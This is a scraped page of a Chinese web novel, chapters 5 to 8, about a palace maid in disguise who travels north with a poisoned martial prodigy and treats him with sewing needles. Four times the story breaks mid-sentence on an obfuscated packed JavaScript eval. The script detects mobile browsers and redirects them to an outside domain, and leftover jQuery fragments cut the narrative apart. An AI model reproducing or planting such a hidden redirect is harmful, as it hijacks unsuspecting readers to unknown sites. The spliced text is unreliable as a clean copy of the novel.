;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653556|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙计那里听得“阿乔”的称呼,便一口一个地叫着,指使起人来比公主还要得心应手,真是久居人上的王孙公子作风。 但她现在的身份已经是他刚采买的温顺婢子,抱怨不得、推拒不得,只能乖乖跟着那宦官走一趟。 两人找客栈伙计问了路,抬脚朝附近街市去。 薛峤强令自己装出个不谙世事的婢女模样,偏头朝身边比她高半个头的青年道:“小哥,方才我听你自称‘咱家’……” “我是宦官,原姓黄,现在单名一个‘允’字。往后你同萧大人一样叫我允公公就是。”青年毫不遮掩地讲明了自己的身份。 这倒让薛峤略有些不好意思,她抿了抿唇,又问:“允公公,客栈那小哥说咱们这一趟是要去甘州,那是什么地方?” 黄允侧身看她一眼,轻叹了口气,道:“甘州在河西,离此地三千余里。我们是奉命前去送一样要紧东西。不过你是萧大人买的婢子,跟着他就行,兴许不必走那么远。” 薛峤听出他的言外之意,便明白萧恪说的是真的。这位允公公表面看着温善,但他同周琰一样,只盼着萧恪早死。 两人又闲聊些许,说话间,便到了伙计所指的街市。 六合距应天府不过百余里,民俗风貌大致相似,只是薛峤久居深宫,黄允亦是内廷出身,两人都鲜有机会亲临民间街市,见到这种热闹景象,一时都有些眼花缭乱。 左看一眼薄如纸、色如玉的玉带糕,右看一眼金黄酥脆带着麦香的麻饼,好奇难耐时,又想起这些都是方才萧恪点名要买的东西。 只是买些衣物和吃食,需要当掉随身玉佩么?还真是个不食人间烟火的富贵公子。 薛峤想起自己身上还有昨日没花完的两锭银子,对黄允诚恳道:“允公公,方才大人还另给了我两锭银子,想来应该够用了,并不需要当玉佩。” 黄允一怔,没想到刚买回来的婢女就已经开始精打细算替主子省银钱。 他白皙柔和的脸上难得地绽出个笑,从袖中掏出那块玉佩递给薛峤,温声道:“那你替大人将这玉佩好生保管着。” 薛峤接过玉佩,按下闲逛的心思,领着黄允进了间成衣铺。 萧恪所想确实周到。如今她身上只有这一套客栈伙计给找的衣裳,若是就这样上路,还不知接下来会过得如何狼狈。 只是这种闹市里的成衣铺都是开给寻常百姓的,麻布粗衣她穿得,但不知那富贵公子是否能忍。可若要衣料好些,就得裁布订做,少则两三日,多则七八天,别的不说,周琰肯定等不起。 思来想去,她将自己要的衣物买好,又给萧恪挑了两身材质尚可的成衣,转头进了布庄,选出几块价钱合宜的好布料。 黄允从她手中接过大大小小的包袱,疑惑地看着其中的布料和针线。 “你这是……?” “山长路远,我正好在路上给大人做几身衣裳。” 5. 第5章 两人行事利落,很快将衣物和吃食带回了客栈。 萧恪咬着一片玉带糕,将那两身样式简单的成衣拣出来左看右看,欲言又止,最后竟一句都没有挑剔。让周琰将衔在嘴边的一通骂词硬生生咽了回去。 黄允扶着萧恪和薛峤上了马车,又拍拍周琰的肩,将他安抚到车辕上坐好,对众人道:“若无其他事,咱们就启程了。” 马车缓缓驶离客栈,继续朝北行进。 演了这一通戏,薛峤终于能光明正大地跟他们上路。 只是车厢再阔大,到底还是车厢,拢共就那么点儿地方。萧恪虚弱难以久坐,他半躺着,得占去一大半空间,剩余一小半,只够薛峤拘束地端坐。随着马车摇晃颠簸,她若要避开车壁,就得碰到他,若要避开他,就得撞上车壁。 一想到这样拘谨局促的日子还得持续很久,她不禁轻轻叹了口气。 萧恪见她神情怅然,还以为她在为悲痛的过去或是未知的前程伤怀,慢悠悠开口,企图用柴米油盐的俗气话题将她拉回现实。 “阿乔,咱们的银钱还余多少?周老三他们可只管最基本的吃住。” 薛峤从怀中取出没去典当的玉佩递给他,想起外面还有两个人听着,硬着头皮软声回应:“回大人,两锭银子还余三百多文,玉佩没有当。” 说完,又将所购之物的原价、单价、折扣、总价一一报给他听。 听她讲得条理清晰又十分细致,萧恪玩笑道:“误打误撞竟捡了个司会回来。” 薛峤听懂了。他这话表面听来是夸赞随便买个婢女竟懂得算账,实际上还是如先前质疑她懂医术一样,质疑她身为内廷女官为何还懂得算术。 于是她不卑不亢回答:“奴婢原也是生在良家的,幼时曾由父亲教着识过字,十二岁时家人病亡户绝,才卖身为奴。后来遇到个温善仁厚的主子,她允我读书,还为我求宅中先生请教指点,是以也懂得一点算学。” 萧恪眸光微动,敛起笑意。 她现年十七岁,十二岁也就是五年前,那时京中大疫,确有不少平民百姓因疫户绝,朝廷因此收容了一批孤女做宫女。原来她就是那时入宫的。 而“户绝”短短二字,背后含义何其深痛。 至于所谓的“温善仁厚的主子”,自然就是嘉懿公主了。有公主的照拂,她在宫中才能过得安宁平顺,才有机会借阅大内藏书、向旁人讨教学问。 失去这样亦主亦友的至亲之人,何尝不是时隔五年再度“户绝”呢? 沉默半晌,萧恪忽而望着车窗外,轻声说:“君看一叶舟,出没风波里。” 薛峤顺着他的目光看去,但见窗外柳烟初染、桃红灼灼,一只渔船正浮于湖上,漾起粼粼碎金。只是眼下春光晴好,何来风波。 她明白,方才她说的那些,他听进去了,亦有所感,却并不能声张,只得用这隐晦的暗喻告慰。 她与他皆从那看不见的风波中来,又将要往另一种看不见的风波中去。而此时此刻,这辆马车又何尝不是在暗流中浮沉的一叶轻舟? 待出了六合地界,再往北离开京畿,皇城的繁华威仪将风流云散。宫闱秘事、天家恩宠都彻底远去,他们就该从旧梦中醒来,去到一个新的人间。 …… 因要提防着周琰与黄允,虽还有许多疑惑没理清,两人也不好直接在车厢中对话。 又因乘车实在无聊,总得找点事做,薛峤索性取出布料与针线,当真有模有样地替萧恪缝起新衣。 其实就宫中而论,她的绣工远算不得上等。真正的剪裁好手都在尚服局,司衣司的那些女史甚至不用尺量,仅凭目测就能精准获知主子们的穿衣尺寸。 她不行,量体裁衣,还得上手。 起先萧恪对她伸手在他身上比划的行为颇为抵触,奈何言语辩不过她理直气壮,身体又敌不过她健康灵巧,最后只得收起爪牙任她摆弄,好似一只失去全部力气的病猫。 薛峤满意地量到了制衣需要的尺寸,这是给外面两人听的动静。在此遮掩下,她又趁机替他号了脉。 “还有几日可活?”他凑近低声问。眸中虽还有点神采,却连喷洒在她耳边的气息都是凉的。 薛峤神情晦暗莫测。 若如实说,那就是两种剧毒在体内汇聚,一个断经脉,一个损肺腑,按照常理,此人本该已经死了。现在还有气,只是因为他体质异于常人。 沉默了半晌,她低语:“你还倒欠阎王一日。” 萧恪听她这么说,反倒眉目舒展,面上又挂起那副玩世不恭的笑,说道:“那我赚大了。” 见他神情畅快,不像强装的,薛峤一时也不知该如何接话。既欣慰于他豁达通透、不因生死忧怖,又难免有些难过惋惜。 毕竟世人都爱天才,她也难以免俗。从前在宫中遥看殿上意气少年,只当他是点缀皇朝的皎月。现如今皎月黯淡,虚弱地躺在她身边,竟让她凭空生出一种物伤其类的感觉。 他真能活到甘州么?答案不言自明。 若他死在半路,自己大可以抽身离去,可公主的死因也就永无查明之日了。 犹豫片刻,她决然开口:“横竖都是死,你敢不敢让我试试施针放毒?不过丑话说在前头,先前我说能治好你,的确是情急之下夸大诓骗,实际上我对医术只略知一二。” 萧恪淡然抬眼,看着她手里的绣花针。 是真的绣花针。在黄允眼皮子底下从布庄买来的,做工平平,用料平平,连银质都不是。上面甚至还穿着缝衣用的丝线。 他们真正相识不过两日,将自己的性命交托给这样一个坦言承认自己并不精于医术的少女,和几根市集上随手买来的绣花针,听来属实惊世骇俗。 可他此生经历,本也没少惊世震俗,难道还缺这最后一笔? 几乎没有半刻延宕,萧恪爽快道:“不妨一试。不过在此之前,你得先告诉我你的真名。否则到了黄泉地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653557|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底,那些手下败将问起,我该如何回答最终我死于谁手?” 薛峤凝眸,认真回答:“我真名就是峤。‘江海经邅回,山峤备盈缺’的峤。” …… 车辕上,周琰仔细看路驾车,黄允却是无所事事,一时百无聊赖地看沿路风景,一时侧耳仔细听车厢内的动静。 有婢女服侍,萧恪果然安分许多。 既没有再刻意出言挑衅周琰,也不无事生非对他们呼来喝去,只与那美婢卿卿我我,时而为量体裁衣拉扯,时而又咬耳私语不知道说些什么。 马车驶过一段颠簸的乡野石子路,行至平坦的官道,那阿乔姑娘忽然掀开车帘探出身子,柔声朝周琰道:“周大人,你的酒囊里可还有余量?大人说他想小酌几口。” 周琰当即怒斥:“老子辛辛苦苦赶车,他在里面躺着还不够,还想喝老子的酒?要不我再下去劈柴烧火给他炒两个菜?” 黄允却扯了扯他的袖子,凑到他耳边低语:“给他喝就是。也没几天好活了,喝点酒走得快。” 周琰一听,竟觉得十分有道理。 常饮酒的人都知道,喝酒暖身,暖的就是经络血液。那小子中了毒,几杯下去,早早毒发见阎王,岂不清静省事? 他便从包袱里掏出酒囊,扬手扔给薛峤,又隔着帘子对萧恪喊话:“看在允公公的面子上,便宜你了!” 车帘放下,薛峤收起那一脸天真烂漫,神情凝重起来。 她仔细将酒淋到绢帕上,一根根擦拭绣花针,又另取来一块帕子浸透,拭过萧恪肩颈处苍白的皮肤。 有过之前那一轮量体裁衣的较量,她再上手可谓是十分自然。萧恪也并不抵抗,仍是那副病猫模样,绵软放松,由着她揉来捏去。 但到真要下针时,病猫慵懒闭目,薛峤的脸上却已浮起了涔涔细汗。 精通医术能轻易解这剧毒是情急诓骗,但对医术只略知一二也是假的。 她的生母是京师良医正之女,她自幼耳濡目染,后来又在内廷偷阅过许多稀世医书,早将医理熟记于心。且公主纵容她,还常常以请脉问诊的名义召太医来请教,她的医术虽不如真正的名医那般精湛,但也绝非只是泛泛。 可正因为如此,反而更清楚刺下的每一针关乎什么。若出点偏差,她在黄泉地府的名声可就真要因为亲手葬送这绝世高手的性命而传开了。 察觉到她紧张踌躇,萧恪忽然睁开眸,促狭一笑,哑声开口。 “阿峤别怕,一回生二回熟。” 薛峤听出这话语里的揶揄,没好气地瞪他一眼,深吸一口气,拈起绣花针又快又准地朝几处大穴刺了下去。 车厢里立时响起很清晰的几声低哑闷哼,还有极力忍耐的喘息。 允公公在外面听着,一时面红耳赤。 周琰更是怒不可遏,握着缰绳,在心底怒骂。 他奶奶的,真让这小子花天酒地享受起来了!白日宣淫,不知廉耻! 6. 第6章 从江南至河西,一路沿官道策马而行最是省事。 但带着萧恪这个活祖宗,走陆路就意味着只要在客栈投宿,周琰都夜不能寐,得提着神提防他偷溜。所以黄允提前出了主意,可以先驾马车到扬州府,再改乘船往徐州去。 船行水上,犹如孤岛,任他怎么一身反骨,总不能往运河里跳。 这主意当然很合理。六合至扬州府亦不过百余里,清晨出发,薄暮到渡口找船,当夜就可以宿在船上。可偏偏临行前,萧恪又要选婢女、又要买东西,硬生生多耽误了两个多时辰。 待他们抵达广陵驿,已是暝色四合。船是没得坐了,只得再找客栈投宿。 周琰心里窝着火,愈发不想再管什么职级尊卑。停稳马车,他就毫不客气地掀开车帘,准备对着萧恪劈头盖脸一顿骂。 谁知青帘后并不见那张玩世不恭的脸,只看到他们新买的婢女双眼通红,扶坐在倚边,神情好不悲戚。 而那气人的活祖宗正一动不动躺着,衣上满是血渍,衬得原本就苍白的脸更白了几分,他颈边还浮着些诡异的暗青淤痕,看起来已然没什么生机了。 “真凉了?”周琰惊讶问。 心里却幸灾乐祸,想着,瞧瞧!这就是酗酒纵欲的下场!管你什么少年天才绝世高手,毒入肺腑了还管不住色.欲,果然死得难看。 黄允闻声也赶忙凑过来,他倒不急着问话,而是先伸出手在萧恪唇边探了探。 一试之下,只感觉他薄唇冰凉,气若游丝。 “没死,还有气呢。”黄允语气平淡,听不出是喜是忧。 薛峤这才好像神思归位,她起身下车,脚步踉跄,鸦睫轻颤,晶莹的泪珠簌簌滚落,一副惊吓过度的样子。 缓了好几息,才抽抽噎噎向两人哭诉:“两位大人明鉴!奴婢路上疲累睡过去了,醒来就看到萧大人衣上沾了许多血,还昏迷着,怎么摇他也不醒。我睡前他明明还好好的,可不是我害死他的……” 黄允伸手在她肩上拍了拍,安抚道:“乔姑娘莫怕,萧大人原就病入膏肓,这不关你的事。” “那现在怎么办?去找个大夫来给他瞧瞧?”薛峤带着哭腔问。 周琰和黄允对视一眼,心下都立时有了成算。 皇上都亲口吩咐了只管赶路,勿要顾念他,谁敢给他请大夫医治?况且御赐的毒药他喝了满杯,别说民间庸医,就是宫中御医来了,也无力回天。 反正迟早要死,趁没走太远,死在此地,尸身还能运回应天府,算他运气好。 他二人只管修书一封将死讯报回去,再寻副棺材,将这婢子打发扶棺去萧府作人证,便算顺利了结此事。而后他们就能轻轻松松上路,一点儿都不耽搁此行功绩。 于是黄允慢条斯理对薛峤说:“吐血昏迷是萧大人的旧疾,你不必害怕。今夜你且伺候着他在客栈里好生休息,明日他若还不醒,咱们再做打算。” 周琰闻言,意味深长地看了他一眼。 心道,这太监看起来温柔和善,惯会打圆场劝架,内里却十分阴狠。婢子是他让买的,酒也是他让给的,这两日以来的,桩桩件件的事他看似好心调停,其实都是在将萧恪往火坑里推。 现在他扯起谎来,更是面不改色心不跳,将见死不救的行径说得云淡风轻,还哄着小姑娘与将死之人同宿,也就是吃准了别人初来乍到、身份卑微。 果然,薛峤听了黄允的话,一句都没多问,只温顺地点点头,任凭他们将萧恪弄到客房里躺下。 人都气若游丝昏死过去了,自然不必再担心他偷溜。这次周琰没再苛待自己,而是让伙计准备了两间连在一起的客房。他和黄允住外间,婢子守着那死小子住内间。一墙之隔,若有异动他也能及时反应。 薛峤依然哭得梨花带雨,黄允对着她又是好一通哄,直到她止住眼泪才离开。 待他们回房,她立刻关上门,抬袖抹去泪痕,从桌上取来两个茶盏,踩着凳子将其置于门上。 这是她从前跟着宫里惯会偷懒的小太监们学的,算是个简易的提醒装置。若有人推门,茶盏便会掉下来,屋里的人就来得及做反应。 而后她走到床边,点上油灯,从袖中摸出藏好的绣花针和浸过酒的绢帕。 先前马车虽走的平坦官道,毕竟还是摇晃颠簸,所以她只敢替萧恪制住几处大穴,以防毒素再往深处蔓延。也正因为如此,他才脉息虚弱、昏睡不醒,显出将死之兆。 现下得了在卧房独处的机会,她才真正要开始给他疏通经络、放血除毒。 薛峤借着昏黄的灯光,看向这张年轻清隽的脸,心底不由地长吁短叹。 前次境况危急,她仓促间抓着他手腕,觉出他体内有两种毒,只以为是冲着制住他武功来的。今日仔细诊过,她才发现,这两种毒都带着极强的寒气,犹如附骨之疽,发作起来钻心剜骨。 可这两日,竟从未见他显露过什么异样,好似身上根本没有疼痛一样。 更离奇的是,扒开衣服来看,他身上还有深浅不一、尚未痊愈的十几道伤痕,应是前不久受过酷刑。原来他说自己是从天牢里被捞出来的,也并非玩笑。 可他不是萧勖的养子么?即使言行有失触怒圣上,堂堂首辅为何看着自己疼宠的养子服刑受毒却袖手旁观? 再想到萧恪曾说,他沦落至此的原因或许与公主之死有关,薛峤更是抓心挠肺,恨不能现在就将他弄醒问个清楚。 但世间没有这样缺德的医者。即使想问,也该等他清醒过来,自愿言说。 “可惜醒来又是一身反骨,野猫似的。”她嘀咕着,仔仔细细将绣花针一根根往他穴位刺去。 带毒的乌血汩汩涌出,很快浸湿了他的衣裳。 不敢惊动外间的两人,薛峤只得用布巾小心擦拭。如此反复施针、放血、擦拭,再将这些行医的痕迹处理干净,转眼便是两个多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653558|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰过去。 直至夜寂星沉,才终于忙活完,还未来得及扯出被子打地铺,她就伏倒在床边沉沉睡去了。 …… 萧恪是天光欲晓时醒来的。 察觉身畔有一道轻浅的呼吸声,他条件反射要去扼其咽喉,待借着天光看清对方的脸,他的手才在离她纤细颈部只有半寸的地方生生顿住。 神智回笼,他这才发觉自己通身轻盈了许多,原本麻木的肌肤也有了知觉。 ……那略知一二的医术和粗糙的绣花针竟没将他送去地府?萧恪讶异地看着床边的人,无声轻笑一下,顺手扯过薄被盖到她身上。 谁知这点动静还是惊醒了薛峤。 见萧恪醒来,她当即抓住他的手腕去摸脉象,并关切问:“感觉如何?” 她指尖温热,扣在腕上,竟给萧恪带来一丝奇异的酥麻感。于是他本能地动弹了一下,想要抽回手腕,又忽然意识到她只是在把脉,霎时进也不是,退也不是,原本苍白的脸上浮起了薄薄一层血色。 薛峤看他的样子,心中大感不妙。 坏了。平生第一次出诊,给人治出问题了。 来不及多说什么,她赶忙扣紧他手腕悉心感受脉象,又伸手覆在他脸上和颈间探他体温。不试还好,这几下摸过去,更觉得对方的躯体反应与先前在马车上和方才昏睡着施针时的情况大不相同。 “可脉象没什么不对啊。”她喃喃自语。 那么重的毒,本也不可能一次就清干净。多亏了她手法利落,又碰上他体质清奇,才能顺利打通被封堵的经络,又强行逼出一部分毒血。既然人能醒来,就是过了鬼门关。 现下他应当已经可以自行运功吐纳,虽然一时半会儿还没法完全恢复武功,身体也仍然虚弱,但短期内没有性命之忧了。 既然如此,这一碰就缩的身体和脸上的浅淡绯红是什么情况? “要不你运功试试呢?或许是经络刚疏通,身体还不适应的缘故。”薛峤认真建议。 萧恪避开她的目光,轻轻点头。 他深吸一口气,开始尝试运功。果然,原本凝滞痹阻的经络现下都已通了,气息经行,犹如潺潺细流淌过,那种蚀肌附骨的疼痛消散得干干净净。内息运转两周后,功力似乎也恢复了一点点。 这当然是好事。 可此时他心底另有一个诡异的念头,涩口难言,挥之不去,一时竟盖过了捡回一条命的喜悦—— 先前他肌肤麻木,对旁人的触碰根本没什么知觉,自然也就并不觉得薛峤为自己施针疗毒有何不妥。 可现在知觉恢复,想起她扒开自己衣服找穴位施针的景象,再联想到她触碰自己手腕时带来的那种酥麻感,总觉得似乎有些……不合礼数。 再看她的反应,没有半点羞怯迟疑,满眼只有对行医成果的渴求。 真将他这个堂堂天下第一绝世高手兼首辅养子兼御前红人当成野猫了? 7. 第7章 隔日清晨,周琰和黄允是被踹门声吵醒的。 两人一睁眼,就看到萧恪双手抱臂,懒散地斜倚在门框上,眉眼淡漠,唇边却又噙着一抹似有若无的笑,场面甚是诡异。 若不是他换上了干干净净的天缥新衣,又沐着晨光而来,他们真要觉得自己见鬼了。 “见到活的我很失望?”萧恪笑言。 没人想接话。屋内两人如何也想不到他是被那娇娇怯怯的婢女治活的,只当此人底子太好,强毒难杀,因而暗自失望。 周琰想骂几句,可话到嘴边,总觉得此情此景,说什么都不够有攻击力。 倒是薛峤来得及时,没过一会儿也出现在了门口。她今日亦换了身新衣,杏粉上袄,笋绿裙衫,端得是清婉娴静,往那儿一站,就瞬间冲淡了此间的剑拔弩张。 眼看别的住客也渐次打开房门,廊上人多起来,黄允赶忙出言劝和:“既然萧大人醒了,今日就依照原先的打算,将马车送到官驿,咱们去渡口乘船吧。” 周琰仍然不快。但人都醒了,他又不能再给打晕过去。只得憋闷着洗漱一番,戾气四溢地去驾车。 薛峤亦将行李收拾好,随萧恪上了马车。 两人仍在车厢内独处,只是他今日举止明显不大对劲。躺得不如先前松弛,也鲜少再凑到她近前耳语,每当她扣上他手腕想把个脉或是凑到他耳边想说点什么,他还是总是下意识往后躲,耳后还时不时泛起浅红。 可真与他交谈,他又思路正常,言语清晰。每每闭目吐纳调息,也看不出有任何异样。 薛峤便想,这症状实在怪异,难保不是自己首次行医出了些微差错,定要寻个机会补救一下。 几人各怀心思,马车摇摇晃晃向瓜洲镇去。 瓜洲古渡,水陆两别。前人有诗云,“京口瓜洲一水间,钟山只隔数重山。” 原先薛峤在书上读到此句,只觉得文人惯会放大愁思。人生天地,本就难得圆满,离情别绪不过尔尔。 如今身临其境,见运河上船行往来,想到自己也即将离京远行,成为其中漂泊者,且这一去三千余里,亦不知明月会否照人还,心底竟也升起一抹浓重的怅惘。 转念又想,应当只是前几日疲于奔命,无暇伤怀,现在饱暖安宁,后劲上来了。于是她轻吁一声,放空思绪望着悠悠长河。 见她一副怅然若失的样子,萧恪难得没有调笑,用只有两人能听见的声音说:“若后悔了,我放你走。” “卖身契都签了,何来后悔。只是想起前人诗句,感物伤怀而已。” 薛峤并不将他所说当真,待马车挺稳,利落跳下去,跟着黄允进官驿找驿丞议事。 其实也没什么可商议的。驿丞年约四十,一双狭长的眼滴溜溜地转个不停,望去就是个八面玲珑的人精。见黄允是个宦官,手里又有御赐手令,他立刻摆出一副唯命是从的样子。 先是沉声允诺定将马车原样送回应天府,又拱手揖礼,主动询问他们接下来要往何处去。 黄允微微躬身回礼,斯文道:“我们将往徐州去,应是泊在吕梁洪渡?听闻那处悬涛嘣奔、流沫百里,寻常客船或恐难抵,不知现下是否有漕船前往?” 薛峤闻言暗叹,自己在公主的照拂下得来满腹见闻,已是内廷下人里难得的眼界开阔,却没想到允公公亦有此见识,连漕运之事都熟稔于心。 她不禁想,从前也没在宫中见过这人,他原是在何处任职的,又因何领了这趟并不轻松的差事? 只是现下她不过是个婢女,纵有此疑惑,也无法真去探问,只能装作听不懂那些冷僻术语,乖顺地站在一旁做个装饰物。 驿丞听得黄允这番话,却是面露难色:“今日出发前往吕梁洪渡的漕船是有一艘,不过那船是运粮的,没有客房,只有通铺,内设也颇为简陋,恐难招待贵人。下官倒还听闻另有一艘卫家的商船也要前去徐州,只是不知公公是否愿乘商船?” 黄允私心当然更愿意跟官船,但带着萧恪和周琰这两个难消停的,睡通铺又实在容易惹事。 他便问:“那卫家是什么来路?” 驿丞耐心解释:“卫氏是我们本地的大户,生意做得大,又常往来于运河上,便自行造了船。他家的船论结实不输官船,甚至还更胜一筹。因是经商的,船上供饭食,客房也多,携家带口的富户不愿挤通铺的,都常登他家的船。” “那便劳烦大人同卫氏打声招呼,我们一行四人,需要两间客房,船资按市价照付。”黄允不愿再多折腾,利落决断。 此间事毕,他们回到马车边,简单转述了情况。四人将行李卸下,又将马车送去官驿,然后就近寻了家酒楼用膳等船。 他们出发两日,一路过来不是吃些干粮点心对付,就是入夜到客栈随意叫几个小菜,这还是头一回正儿八经一起吃饭。 这间酒楼名为“漕河春”,就建在运河边,登上二楼恰好可以俯瞰运河风光。黄允领头,在二楼临窗处找了一张空桌,周琰喊来店小二,叫他依着时令安排一桌酒菜。 薛峤原以为以萧恪的性子,定要对这种不上档次的民间酒楼挑挑拣拣一番。谁知他缓步走到窗边,微微停顿看了眼运河全貌,便轻撩衣摆在长凳坐下。整个过程行云流水,没有任何点评挑剔之意。 小二很快端来茶水,酒菜也陆续上桌。 时逢春日,正是河鲜肥美的时候,扬州府又是天下闻名的饮食华侈、制度精巧,即使只是这样一间开在运河边供往来客商歇脚的寻常酒楼,也将一桌菜做得细致精美、滋味醇和。 无怪乎先帝对淮扬菜情有独钟,还特意寻了扬州名厨专司内膳。依薛峤看来,这一桌佳肴虽比不得宫中饮□□湛讲究,但其临河现产的鲜美滋味,亦是大内御厨精工难抵的。 周琰将酒囊递给小二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653559|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫他去打酒,然后也在桌边大马金刀地坐下了。他想着终于不用再赶车,满心只惦记着好好喝一场,没尝半口菜就先给自己满上一碗琼花露,仰头一饮而尽,直呼舒爽。 黄允则是慢条斯理对着蜜饯樱桃、蒲菜汤一类的素菜动筷。旁边一桌的几个客商兴许是看出他面貌阴柔,是个宦官,频频侧目朝这边望,他对此却无动于衷,浑不在意。 再看萧恪,他先是夹了一筷子水晶肴肉,又细品几口蟹粉狮子头,然后将桌上每道菜都尝了一口,接着便再也不碰那些,只拣着芙蓉鲫鱼、五香熏鱼、清蒸鲥鱼吃。 薛峤吃了个狮子头,又喝下半碗鲜美的蟹黄豆腐羹,忽然想起自己的婢女身份。 奴婢与主家同席进餐算是僭越,周琰与黄允并未出声阻拦,大概是因为他们一个只顾着喝酒,一个本就是宦官,又都觉得婢子是给萧恪买的,宠着惯着也是他说了算。 但到底有一层主仆关系摆在面上,吃得太自在,难保他们不会觉出异样。 于是薛峤放下碗碟,另取一双干净筷子,夹了条鲥鱼到空盘里,开始专心拆鱼刺。 只是从前公主身边有专司膳食的小宫女,拆鱼刺这种事从来落不到她身上,她自己吃鱼又都是直接入口再吐刺。忙活半天,只将一条鲥鱼戳得面目全非,刺的确剔下来了,但净肉的形貌也实在不大好看。 萧恪侧目看了眼那盘鱼,揶揄道:“你被鲥鱼咬过?” 周琰和黄允闻声都投来目光。薛峤眼眸低垂,好似一个被主子教训了的卑微奴婢,将鱼盘推到萧恪面前,小声道:“奴婢将刺都剔出来了,大人请用。” 回答她的果然是意料之中的轻笑。 笑过后,萧恪将方才她剔鱼用的筷子和盛着鱼的长盘都拿到了自己面前。也看不清他是如何提气运力的,只见他手腕翻转,指节轻动,动作快到令人眼花缭乱,几息之间就将盘中散碎的鱼肉复原成了一条鱼的形状。 接着,他又取过一条完整的鲥鱼,用筷尖在其背脊上轻轻一划,薄如蝉翼的鱼皮便与鱼肉分离,再折腕轻挑,细密如银丝的鱼刺尽数被剔出,整整齐齐排列在了桌上。 顷刻间,盘中只余一片片滑嫩的鱼肉,雪白晶莹,望去好似凝脂。 “礼尚往来,阿乔请用。”他向后懒散一靠,斜倚在朱漆栏杆上,笑道。 周琰和黄允看完这一通表演,俱在心底大叹不妙。 旁人见到这般场景,或许只当是身怀奇术的公子哥儿在炫技哄小姑娘开心。他们两人却很清楚,萧恪这是在明示,他经络已通,可以运转内力了。 世间真有这等被剧毒封住经脉仍可运功自救的天才么?同为习武之人,周琰并不愿意相信,此时也不得不信。 再回想自己这两日对此人的各种谩骂,他只觉得世事瞬息万变、时局难以预谋。 恐怕再过几天,被挟制看管的就变成他本人了! 8. 第8章 就在周琰表情复杂地看着萧恪时,不远处忽然响起几下清脆的击掌声。 薛峤闻声看去,就见楼梯边出现了三个生面孔,想是刚刚上楼来的。 打头的是个二十岁出头的年轻男子。他身形修长挺拔,穿一身挼蓝罗衫,面若冠玉,风姿卓然,通身装饰件件都是上等金玉,望去就知非富即贵。 身后站着两个年轻美婢,虽没戴什么首饰,衣料华贵也远胜常人。 “在下卫明璋,卫氏商号少东家,见过同知大人。早听闻大人身手卓绝,今日一见果然非同凡响。”那公子揖礼道。 薛峤怔了一下,很快反应过来——没错,萧恪虽不是真正的官员,但他是有官衔的,从二品都督同知。 只不过他们这一行四人除了周琰每回想动手时得掂量掂量杀朝廷命官的后果,其余时候谁也没真把他当成官,所以都忘了这回事。 黄允和周琰听得卫明璋煞有介事地报出官衔,似乎是要正式见礼,却又不见他真的依礼跪拜,都面露疑惑。 萧恪本人却仍坐靠在朱漆栏杆上,右手轻叩着薛峤剔出来的那盘鱼,只漫不经心敷衍道:“萧某戴罪之身,不必见礼。” 卫明璋爽朗一笑,竟毫不客气地来到他们桌前坐下,倒了两杯酒,递给萧恪一杯。 语气平静地说:“不知大人前来,在下有失远迎。卫某在此敬大人一杯,权当赔罪。” 这下任谁都看得出来此人并不是真的奔着那从二品官衔来讨好逢迎了。 哪有随便坐到别人桌边倒杯酒就当赔罪的?何况酒还是别人自己点的。 萧恪却并不生气,只换了个更悠闲的姿势半躺在栏杆上,淡漠道:“有失远迎这么大的事,喝杯酒就算赔罪了?要不你将这桌账结了,船资也免了,晚上在你那船上给我备一席好菜,再将我这不听话的车夫揍一顿助助兴。” 听到那句揍他一顿助助兴,周琰一时忘了此人经脉已通,当即怒骂:“你小子胡说八道什么!” “瞧见没?真不听话。”萧恪慢悠悠站起身,拉住薛峤的袖子。 对她道:“走,登船去。” 说罢,拽着薛峤头也不回地下了楼,再没多看楼上几人一眼。 此时正近晌午,运河上的薄雾刚刚散净。渡口泊船处,果真已停着一艘高大的商船。船身约有二十余丈长,三丈来宽,用料皆是坚实耐用的板材,涂一层栗色厚漆。 